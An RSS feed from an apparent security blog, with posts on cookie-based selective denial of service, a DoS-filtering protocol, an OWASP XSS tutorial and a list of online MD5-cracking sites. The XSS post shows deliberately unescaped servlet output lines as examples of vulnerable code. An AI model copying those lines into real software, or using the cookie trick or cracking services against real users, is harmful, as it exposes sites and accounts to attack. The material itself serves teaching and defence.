<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hacking-Gurus &#187; Website Security</title>
	<atom:link href="http://www.hacking-gurus.net/category/server-security/website-security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.hacking-gurus.net</link>
	<description>Security Blog</description>
	<lastBuildDate>Thu, 19 Jan 2012 21:06:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Using Cookies For Selective DoS and State Detection</title>
		<link>http://www.hacking-gurus.net/2010/08/22/using-cookies-for-selective-dos-and-state-detection/</link>
		<comments>http://www.hacking-gurus.net/2010/08/22/using-cookies-for-selective-dos-and-state-detection/#comments</comments>
		<pubDate>Sun, 22 Aug 2010 18:30:47 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Website Security]]></category>
		<category><![CDATA[Attacker]]></category>
		<category><![CDATA[Continuation]]></category>
		<category><![CDATA[Cookies]]></category>
		<category><![CDATA[DOS]]></category>
		<category><![CDATA[Logs]]></category>
		<category><![CDATA[Onerror Event]]></category>
		<category><![CDATA[Security Lab]]></category>
		<category><![CDATA[Variable Width]]></category>
		<category><![CDATA[Web Application Security]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=237</guid>
		<description><![CDATA[Using Cookies For Selective DoS and State Detection: &#8220; 28 posts left…. This is a continuation of he first post where we described how you can use cookies to DoS certain portions of the website. After our speech one of the Mozilla guys came up to us and described another attack that arises from this. [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2010/08/22/using-cookies-for-selective-dos-and-state-detection/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Using+Cookies+For+Selective+DoS+and+State+Detection";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Using Cookies For Selective DoS and State Detection: &#8220;28 posts left….This is a continuation of he first post where we described how you can use cookies to DoS certain portions of the website.  After our speech one of the Mozilla guys came up to us and described another attack that arises from this.  Let’s say when a user logs in it sets a...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>Using Cookies For Selective DoS and State Detection: &#8220;
<p>28 posts left….</p>
<p>This is a continuation of he first post where we described how you can use cookies to DoS certain portions of the website.  After our speech one of the Mozilla guys came up to us and described another attack that arises from this.  Let’s say when a user logs in it sets a cookie that is 200 bytes long, and when they log out it re-sets the same cookie to 50 bytes.  Well if the attacker can set a cookie with a particular path to a single image on the site, for instance, they can use JavaScript to check with an onerror event handler to see if the image has loaded.</p>
<p><span id="more-237"></span></p>
<p>By combining the over-long cookie (minus 50 bytes) a logged in state will cause the image to fail to load, where as a logged out state will allow the image to load just fine.  In this way an attacker can tell cookie states as long as the cookies are variable width and there aren’t other cookies muddying the waters.  Interesting attack, I thought!</p>
<p>&#8220;</p>
<p>(Via <a href="http://ha.ckers.org/blog">ha.ckers.org web application security lab</a>.)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2010/08/22/using-cookies-for-selective-dos-and-state-detection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Using Cookies For Selective DoS</title>
		<link>http://www.hacking-gurus.net/2010/08/22/using-cookies-for-selective-dos/</link>
		<comments>http://www.hacking-gurus.net/2010/08/22/using-cookies-for-selective-dos/#comments</comments>
		<pubDate>Sun, 22 Aug 2010 18:28:09 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Website Security]]></category>
		<category><![CDATA[Aspx]]></category>
		<category><![CDATA[Attacker]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Logout]]></category>
		<category><![CDATA[Maximum Size]]></category>
		<category><![CDATA[Org Web]]></category>
		<category><![CDATA[Parent Domain]]></category>
		<category><![CDATA[Perspective]]></category>
		<category><![CDATA[Prevention]]></category>
		<category><![CDATA[Real Solution]]></category>
		<category><![CDATA[Reportabuse]]></category>
		<category><![CDATA[Scoped]]></category>
		<category><![CDATA[Scripts]]></category>
		<category><![CDATA[Security Lab]]></category>
		<category><![CDATA[Sokol]]></category>
		<category><![CDATA[Target]]></category>
		<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[Web Server]]></category>
		<category><![CDATA[Web Servers]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=235</guid>
		<description><![CDATA[Using Cookies For Selective DoS: &#8220; 29 posts left… One of the things Josh Sokol and I talked about in our presentation at Blackhat was a way to use over-sized cookies to cause a DoS on the site. The web server sees the overlong cookie and stops the request from completing. This is not new [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2010/08/22/using-cookies-for-selective-dos/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Using+Cookies+For+Selective+DoS";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Using Cookies For Selective DoS: &#8220;29 posts left…One of the things Josh Sokol and I talked about in our presentation at Blackhat was a way to use over-sized cookies to cause a DoS on the site.  The web server sees the overlong cookie and stops the request from completing.  This is not new and has certainly been discussed before.  However, one...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p><a href="http://ha.ckers.org/blog/20100822/using-cookies-for-selective-dos/">Using Cookies For Selective DoS</a>: &#8220;<span id="more-235"></span></p>
<p>29 posts left…</p>
<p>One of the things Josh Sokol and I talked about in our presentation at Blackhat was a way to use over-sized cookies to cause a DoS on the site.  The web server sees the overlong cookie and stops the request from completing.  This is not new and has certainly been discussed before.  However, one thing that wasn’t discussed is that using the path an attacker can selectively cause the website to stop displaying portions of the site.  For instance, if the attacker wants to shut down /javascript/ or /logout.aspx or /reportabuse.aspx or whatever, they can by setting an overly-long cookie for that particular path.</p>
<p>Setting cookies on the target sub domain would require something like header injection/Response splitting, XSS, or a MitM attack.  It should be noted though that it doesn’t have to be on the target sub domain &#8211; it can be an exploit in another sub domain because cookies don’t follow the same origin policy if the cookie is scoped to the parent domain.  In this way an attacker could turn off Clickjacking prevention code (deframing scripts), or turn off other client side protections or parts of the site that are bad from an attacker’s perspective.  The only real solution to this is for all browsers to start making the absolute maximum size of cookies smaller than the smallest that web servers will allow (Apache was smaller than IIS by default for instance).</p>
<p>&#8220;</p>
<p>(Via <a href="http://ha.ckers.org/blog">ha.ckers.org web application security lab</a>.)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2010/08/22/using-cookies-for-selective-dos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Computer Network Denial Of Service Denial</title>
		<link>http://www.hacking-gurus.net/2009/10/01/computer-network-denial-of-service-denial/</link>
		<comments>http://www.hacking-gurus.net/2009/10/01/computer-network-denial-of-service-denial/#comments</comments>
		<pubDate>Thu, 01 Oct 2009 05:58:58 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Servers]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[Website Security]]></category>
		<category><![CDATA[Wireless Security]]></category>
		<category><![CDATA[Attack Software]]></category>
		<category><![CDATA[Authentication Servers]]></category>
		<category><![CDATA[Computer Engineers]]></category>
		<category><![CDATA[David Irwin]]></category>
		<category><![CDATA[Ddos Attack]]></category>
		<category><![CDATA[Ddos Attacks]]></category>
		<category><![CDATA[Denial Of Service]]></category>
		<category><![CDATA[Denial Of Service Dos]]></category>
		<category><![CDATA[Internet Requests]]></category>
		<category><![CDATA[John Wu]]></category>
		<category><![CDATA[Legitimate Traffic]]></category>
		<category><![CDATA[Legitimate Users]]></category>
		<category><![CDATA[Malicious Purposes]]></category>
		<category><![CDATA[Network Denial]]></category>
		<category><![CDATA[Private Resources]]></category>
		<category><![CDATA[Service Denial]]></category>
		<category><![CDATA[Target Machine]]></category>
		<category><![CDATA[Tong Liu]]></category>
		<category><![CDATA[Valid Passwords]]></category>
		<category><![CDATA[Virtual Private Networks]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=166</guid>
		<description><![CDATA[Denial of Service (DoS) and distributed Denial of Service (DDoS) attacks involve an attempt to make a computer resource unavailable to its intended users. This may simply be for malicious purposes as is often the case when big commercial or famous web sites undergo a DDoS attack. However, it is also possible to exploit the [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/10/01/computer-network-denial-of-service-denial/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Computer+Network+Denial+Of+Service+Denial";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Denial of Service (DoS) and distributed Denial of Service (DDoS) attacks involve an attempt to make a computer resource unavailable to its intended users. This may simply be for malicious purposes as is often the case when big commercial or famous web sites undergo a DDoS attack. However, it is also possible to exploit the system&#8217;s response to...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>Denial of Service (DoS) and distributed Denial of Service (DDoS) attacks involve an attempt to make a computer resource unavailable to its intended users. This may simply be for malicious purposes as is often the case when big commercial or famous web sites undergo a DDoS attack. However, it is also possible to exploit the system&#8217;s response to such an attack to break system firewalls, access virtual private networks, and to access other private resources. A DoS attack can also be used to affect a complete network or even a whole section of the Internet.</p>
<p><span id="more-166"></span></p>
<p>Commonly, attack involves simply saturating the target machine with external internet requests. In the case of a DDoS attack the perpetrator recruits other unwitting computers into a network and uses a multitude of machines to mount the attack. The result is that the resource, whether it is a website, an email server, or a database, cannot respond to legitimate traffic in a timely manner and so essentially becomes unavailable to users.</p>
<p>Methods for configuring a network to filter out known DoS attack software and to recognize some of the traffic patterns associated with a mounting DoS attack are available. However, current filters usually rely on the computer being attacked to check whether or not incoming information requests are legitimate or not. This consumes its resources and in the case of a massive DDoS can compound the problem.</p>
<p>Now, computer engineers John Wu, Tong Liu, Andy Huang, and David Irwin of Auburn University have devised a filter to protect systems against DoS attacks that circumvents this problem by developing a new passive protocol that must be in place at each end of the connection: user and resource.</p>
<p>Their protocol &#8211; Identity-Based Privacy-Protected Access Control Filter (IPACF) &#8211; blocks threats to the gatekeeping computers, the Authentication Servers (AS), and so allows legitimate users with valid passwords to access private resources.</p>
<p>The user&#8217;s computer has to present a filter value for the server to do a quick check. The filter value is a one-time secret that needs to be presented with the pseudo ID. The pseudo ID is also one-time use. Attackers cannot forge either of these values correctly and so attack packets are filtered out.</p>
<p>One potential drawback of the added layer of information transfer required for checking user requests is that it could add to the resources needed by the server. However, the researchers have tested how well IPACF copes in the face of a massive DDoS attacks simulated on a network consisting of 1000 nodes with 10 gigabits per second bandwidth. They found that the server suffers little degradation, negligible added information transfer delay (latency) and minimal extra processor usage even when the 10 Gbps pipe to the authentication server is filled with DoS packets. Indeed, the IPACF takes just 6 nanoseconds to reject a non-legitimate information packet associated with the DoS attack.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/10/01/computer-network-denial-of-service-denial/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Top 10 Web Application security vulnerabilities</title>
		<link>http://www.hacking-gurus.net/2009/09/30/the-top-10-web-application-security-vulnerabilities/</link>
		<comments>http://www.hacking-gurus.net/2009/09/30/the-top-10-web-application-security-vulnerabilities/#comments</comments>
		<pubDate>Wed, 30 Sep 2009 05:24:02 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Servers]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[Website Security]]></category>
		<category><![CDATA[Common Security]]></category>
		<category><![CDATA[Critical Web]]></category>
		<category><![CDATA[Cyber Security]]></category>
		<category><![CDATA[Example Web]]></category>
		<category><![CDATA[Html Page]]></category>
		<category><![CDATA[Input Data]]></category>
		<category><![CDATA[Open Web]]></category>
		<category><![CDATA[Owasp]]></category>
		<category><![CDATA[Proper Html]]></category>
		<category><![CDATA[Query Parameters]]></category>
		<category><![CDATA[Security Problems]]></category>
		<category><![CDATA[Security Project]]></category>
		<category><![CDATA[Security Vulnerabilities]]></category>
		<category><![CDATA[Swingset]]></category>
		<category><![CDATA[Top Ten Security]]></category>
		<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[Web Applications]]></category>
		<category><![CDATA[Webgoat]]></category>
		<category><![CDATA[Writeln]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=164</guid>
		<description><![CDATA[The Top 10 Web Application security vulnerabilities This and the next series of blog entries will highlight the Top 10 most critical web application security vulnerabilities identified by the Open Web Application Security Project (OWASP). You can use OWASP&#8217;s WebGoat to learn more about the OWASP Top Ten security vulnerabilties. WebGoat is an example web application, which has [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/09/30/the-top-10-web-application-security-vulnerabilities/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "The+Top+10+Web+Application+security+vulnerabilities";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "The Top 10 Web Application security vulnerabilitiesThis and the next series of blog entries will highlight the Top 10 most critical web application security vulnerabilities identified by the Open Web Application Security Project (OWASP).You can use OWASP&#8217;s WebGoat to learn more about the OWASP Top Ten security vulnerabilties. WebGoat is an...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p><span style="font-family: arial, sans-serif; line-height: normal; border-collapse: collapse;">The Top 10 Web Application security vulnerabilities<br />
<span id="more-164"></span></p>
<h1></h1>
<p>This and the next series of blog entries will highlight the <a style="color: #2244bb;" href="http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project" target="_blank">Top 10 most critical web application security vulnerabilities</a> identified by the <a style="color: #2244bb;" href="http://www.owasp.org/index.php/Main_Page" target="_blank">Open Web Application Security Project (OWASP)</a>.</p>
<p>You can use OWASP&#8217;s <a style="color: #2244bb;" href="http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project" target="_blank">WebGoat</a> to learn more about the OWASP Top Ten security vulnerabilties. WebGoat is an example web application, which has lessons showing &#8220;what not to do code&#8221;, how to exploit the code, and corrected code for each vulnerability.</p>
<p><img style="width: 300px; height: 252px;" src="http://blogs.sun.com/carolmcdonald/resource/300px-WebGoat-Phishing-XSS-Lesson.JPG" alt="" /></p>
<p>You can use the <a style="color: #2244bb;" href="http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API" target="_blank">OWASP Enterprise Security API </a>Toolkit to protect against the OWASP Top Ten security vulnerabilties.</p>
<p><img style="width: 550px; height: 314px;" src="http://blogs.sun.com/carolmcdonald/resource/550px-Esapi-before-after.JPG" alt="" /></p>
<p><a style="color: #2244bb;" href="http://www.owasp.org/index.php/ESAPI_Swingset" target="_blank">The ESAPI Swingset </a>is a web application which demonstrates the many uses of the Enterprise Security API.</p>
<p><img style="width: 352px; height: 325px;" src="http://blogs.sun.com/carolmcdonald/resource/swingset.jpg" alt="" /></p>
<h2>OWASP Top 10 number 1: XSS = Cross Site Scripting</h2>
<p>Cross Site Scripting (XSS) is one of the most common security problems in today&#8217;s web applications. According to the <a style="color: #2244bb;" href="http://www.sans.org/top-cyber-security-risks/" target="_blank">SANS Top Cyber Security Risks</a>, 60% of the total attack attempts observed on the Internet are against Web applications and SQL injection and Cross-Site Scripting account for more than 80% of the vulnerabilities being discovered. You are at risk of an XSS attack any time you put content that could contain scripts from someone un-trusted into your web pages.<br />
There are 3 types of cross site scripting:</p>
<ul>
<li><span style="font-weight: bold;">Reflected XSS: </span>is when an html page reflects user input data, e.g. from HTTP query parameters or a HTML form, back to the browser, without properly sanitizing the response. Below is an example of this in a servlet:</li>
</ul>
<p></span></p>
<table border="0" cellspacing="0" cellpadding="10" width="100%">
<tbody>
<tr>
<td>
<pre style="font-size: 11px;"> out.writeln(“You searched for: “+request.getParameter(“query”);</pre>
</td>
</tr>
</tbody>
</table>
<p><span style="font-family: arial, sans-serif; line-height: normal; border-collapse: collapse;"></p>
<ul>
<li></li>
<li><span style="font-weight: bold;">Stored XSS:</span> is when an Attacker’s input script is stored on the server (eg a database) and later displayed in the web server html pages, without proper HTML filtering. Examples of this are in blogs, or forums where users can input data that will be displayed to others. Below is an example of this in a servlet data is retrieved from the database and returned in the HTML page without any validation:</li>
</ul>
<p></span></p>
<table border="0" cellspacing="0" cellpadding="10" width="100%">
<tbody>
<tr>
<td>
<pre style="font-size: 11px;">out.writeln("&lt;tr&gt;&lt;td&gt;" + guest.name + "&lt;td&gt;" + guest.comment);</pre>
</td>
</tr>
</tbody>
</table>
<p><span style="font-family: arial, sans-serif; line-height: normal; border-collapse: collapse;"></p>
<ul>
<li></li>
<li><span style="font-weight: bold;">DOM XSS</span>: is when JavaScript uses input data or data from the server to write dynamic HTML (DOM) elements, again without HTML sanitizing/escaping/filtering.</li>
</ul>
<p>XSS can be used to:</p>
<ul>
<li>deface web pages</li>
<li>hijack user sessions</li>
<li>conduct phishing attacks</li>
<li>execute malicious code in the context of the user&#8217;s session</li>
<li>spread malware</li>
</ul>
<h3>Protecting against XSS</h3>
<p>To protect against XSS all the parameters in the application should be validated and/or encoded before being output in HTML pages.</p>
<ul>
<li>Always validate on the server side for data integrity and security:
<ul>
<li>Validate all input data to the application:</li>
<li>Validate for type, format, length, range, and context before storing or displaying</li>
<li>Use white-listing (what is allowed), reject if invalid, instead of filtering out black-list (what is not allowed)</li>
</ul>
</li>
<li>Output encoding:
<ul>
<li>Explicitly set character encoding for all web pages (ISO-8859-1 or UTF 8):<br />
<span style="font-family: monospace;">&lt;%@ page contentType=&#8221;text/html;charset=ISO-8859-1&#8243; language=&#8221;java&#8221; %&gt;</span></li>
<li>all user supplied data should be HTML or XML entity encoded before rendering</li>
</ul>
</li>
</ul>
<h3>Java specific Protecting against XSS</h3>
<h4>Validating Input with Java</h4>
<ul>
<li>You can use Java regular expressions to validate input, this example from WebGoat allows whitespace, a-zA-Z_0-9, and the characters &#8211; and ,</li>
</ul>
<p></span></p>
<table border="0" cellspacing="0" cellpadding="10" width="100%">
<tbody>
<tr>
<td>
<pre style="font-size: 11px;">
String regex = "[\s\w-,]*";
Pattern pattern = Pattern.compile(regex);
validate(stringToValidate, pattern);</pre>
</td>
</tr>
</tbody>
</table>
<p><span style="font-family: arial, sans-serif; line-height: normal; border-collapse: collapse;"></p>
<ul>
<li></li>
<li>Use Framework (Struts, JSF, Spring&#8230;) validators. With Java EE 6 you can use the Bean Validation Framework to centrally define validation constraints on model objects and with JSF 2.0 to extend model validation to the UI. For example here is a JSF 2.0 input field:</li>
</ul>
<p></span></p>
<table border="0" cellspacing="0" cellpadding="10" width="100%">
<tbody>
<tr>
<td>
<pre style="font-size: 11px;">&lt;h:inputText id="creditCard" value="#{booking.creditCardNumber}"/&gt;</pre>
</td>
</tr>
</tbody>
</table>
<p><span style="font-family: arial, sans-serif; line-height: normal; border-collapse: collapse;"></p>
<ul>
<li><span style="font-weight: bold;"> </span>Here is the JSF 2.0 booking Managed Bean using the Bean Validation Framework :</li>
</ul>
<p></span></p>
<table border="0" cellspacing="0" cellpadding="10" width="100%">
<tbody>
<tr>
<td>
<pre style="font-size: 11px;">@ManagedBean
public class Booking {
 ...
 @NotNull(message = "Credit card number is required")
 @Size(min = 16, max = 16,
 message = "Credit card number must 16 digits long")
 @Pattern(regexp = "^\d*$",
 message = "Credit card number must be numeric")
 public String getCreditCardNumber() {
 return creditCardNumber;
 }
}</pre>
</td>
</tr>
</tbody>
</table>
<p><span style="font-family: arial, sans-serif; line-height: normal; border-collapse: collapse;"></p>
<ul>
<li>In addition there are new JSF 2.0 Validators:
<ul>
<li><a style="color: #2244bb;" href="https://javaserverfaces.dev.java.net/nonav/docs/2.0/pdldocs/facelets/f/validateBean.html" target="_blank">&lt;f:validateBean&gt;</a> is a validator that delegates the validation of the local value to the Bean Validation API.</li>
<li>&lt;f:validateRequired&gt; provides required field validation.</li>
<li><a style="color: #2244bb;" href="https://javaserverfaces.dev.java.net/nonav/docs/2.0/pdldocs/facelets/f/validateRegex.html" target="_blank">&lt;f:validateRegexp&gt;</a> provides regular expression-based validation</li>
</ul>
</li>
<li>Use the <a style="color: #2244bb;" href="http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API" target="_blank">OWASP Enterprise Security API</a> Java Toolkit&#8217;s Validator interface:</li>
</ul>
<p></span></p>
<table border="0" cellspacing="0" cellpadding="10" width="100%">
<tbody>
<tr>
<td>
<pre style="font-size: 11px;">ESAPI.validator().getValidInput(String context,String input,String type,int maxLength,
   boolean allowNull,ValidationErrorList errorList)</pre>
</td>
</tr>
</tbody>
</table>
<p><span style="font-family: arial, sans-serif; line-height: normal; border-collapse: collapse;"></p>
<ul>
<li><span style="font-family: monospace;">ESAPI.validator().getValidInput() </span>returns canonicalized and validated input as a String. Invalid input will generate a descriptive ValidationErrorList, and input that is clearly an attack will generate a descriptive IntrusionException.</li>
</ul>
<h4>Output Encoding with Java</h4>
<ul>
<li>You can use Struts output mechanisms such as <span style="font-family: monospace;">&lt;bean:write… &gt;, </span>or use the default JSTL<span style="font-family: monospace;">escapeXML=&#8221;true&#8221;</span> attribute in <span style="font-family: monospace;">&lt;c:out … &gt; </span></li>
<li>You can use the <a style="color: #2244bb;" href="http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API" target="_blank">OWASP Enterprise Security API</a> Java Toolkit&#8217;s <span style="font-family: monospace;">ESAPI Encoder.encodeForHTML()</span>method to encode data for use in HTML content. The encodeForHTML() method uses a &#8220;whitelist&#8221; HTML entity encoding algorithm to ensure that encoded data can not be interpreted as script. This call should be used to wrap any user input being rendered in HTML element content. For example:</li>
</ul>
<p></span></p>
<table border="0" cellspacing="0" cellpadding="10" width="100%">
<tbody>
<tr>
<td><span style="font-family: monospace;">&lt;p&gt;Hello, &lt;%=ESAPI.encoder().encodeForHTML(name)%&gt;&lt;/p&gt;</span></td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/09/30/the-top-10-web-application-security-vulnerabilities/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Crack MD5 Password Hash Online</title>
		<link>http://www.hacking-gurus.net/2009/04/30/crack-md5-password-hash-online/</link>
		<comments>http://www.hacking-gurus.net/2009/04/30/crack-md5-password-hash-online/#comments</comments>
		<pubDate>Thu, 30 Apr 2009 03:23:19 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Password Recovery]]></category>
		<category><![CDATA[Servers]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[Website Security]]></category>
		<category><![CDATA[cheatsheet]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[passwd]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[web security]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=111</guid>
		<description><![CDATA[Hello , below is some links to crack md5 password hashes online , i will keep this post updated with all online links for cracking md5. http://gdataonline.com http://md5.rednoize.com http://ice.breaker.free.fr http://www.milw0rm.com/md5/ http://shm.hard-core.pl/md5/ http://www.hashchecker.com http://lasecwww.epfl.ch/%7Eoechslin/projects/ophcrack/ http://md5.benramsey.com http://md5.altervista.org http://shm.hard-core.pl http://plain-text.info http://www.passcracking.ru/ http://www.securitystats.com/tools/hashcrack.php http://www.xmd5.org/index_en.htm]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/30/crack-md5-password-hash-online/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Crack+MD5+Password+Hash+Online";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Hello ,below is some links to crack md5 password hashes online , i will keep this post updated with all online links for cracking md5.http://gdataonline.comhttp://md5.rednoize.comhttp://ice.breaker.free.frhttp://www.milw0rm.com/md5/http://shm.hard-core.pl/md5/http://www.hashchecker.comhttp://lasecwww.epfl.ch/%7Eoechslin/projects/ophcrack/http://md5.benramsey.comhttp://md5.altervista.orghttp://shm.hard-core.plhttp://plain-text.infohttp://www.passcracking.ru/http://www.securitystats.com/tools/hashcrack.phphttp://www.xmd5.org/index_en.htm";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>Hello ,</p>
<p>below is some links to crack md5 password hashes online , i will keep this post updated with all online links for cracking md5.</p>
<p><span id="more-111"></span></p>
<p><a href="http://gdataonline.com" target="_blank">http://gdataonline.com</a><br />
<a href="http://md5.rednoize.com" target="_blank">http://md5.rednoize.com</a><br />
<a href="http://ice.breaker.free.fr" target="_blank">http://ice.breaker.free.fr</a><br />
<a href="http://www.milw0rm.com/md5/" target="_blank"><strong>http://www.milw0rm.com/md5/</strong></a><br />
<a href="http://shm.hard-core.pl/md5/" target="_blank">http://shm.hard-core.pl/md5/</a><br />
<a href="http://www.hashchecker.com" target="_blank">http://www.hashchecker.com</a><br />
<a href="http://lasecwww.epfl.ch/%7Eoechslin/projects/ophcrack/" target="_blank">http://lasecwww.epfl.ch/%7Eoechslin/projects/ophcrack/</a><br />
<a href="http://md5.benramsey.com" target="_blank">http://md5.benramsey.com</a><br />
<a href="http://md5.altervista.org" target="_blank">http://md5.altervista.org</a><br />
<a href="http://shm.hard-core.pl" target="_blank">http://shm.hard-core.pl</a><br />
<a href="http://plain-text.info" target="_blank">http://plain-text.info</a><br />
<a href="http://www.passcracking.ru/" target="_blank">http://www.passcracking.ru/</a><br />
<a href="http://www.securitystats.com/tools/hashcrack.php" target="_blank">http://www.securitystats.com/tools/hashcrack.php</a><br />
<a href="http://www.xmd5.org/index_en.htm" target="_blank">http://www.xmd5.org/index_en.htm</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/30/crack-md5-password-hash-online/feed/</wfw:commentRss>
		<slash:comments>39</slash:comments>
		</item>
		<item>
		<title>10 Reasons Websites get hacked</title>
		<link>http://www.hacking-gurus.net/2009/04/15/10-reasons-websites-get-hacked/</link>
		<comments>http://www.hacking-gurus.net/2009/04/15/10-reasons-websites-get-hacked/#comments</comments>
		<pubDate>Wed, 15 Apr 2009 18:42:35 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Servers]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[Website Security]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[DOS]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[MSSQL]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[permission]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=82</guid>
		<description><![CDATA[1. Cross site scripting (XSS) The problem: The “most prevalent and pernicious” Web application security vulnerability, XSS flaws happen when an application sends user data to a Web browser without first validating or encoding the content. This lets hackers execute malicious scripts in a browser, letting them hijack user sessions, deface Web sites, insert hostile [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/15/10-reasons-websites-get-hacked/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "10+Reasons+Websites+get+hacked";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "1. Cross site scripting (XSS)The problem: The “most prevalent and pernicious” Web application security vulnerability, XSS flaws happen when an application sends user data to a Web browser without first validating or encoding the content. This lets hackers execute malicious scripts in a browser, letting them hijack user sessions, deface Web sites,...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p><strong>1. Cross site scripting (XSS)</strong></p>
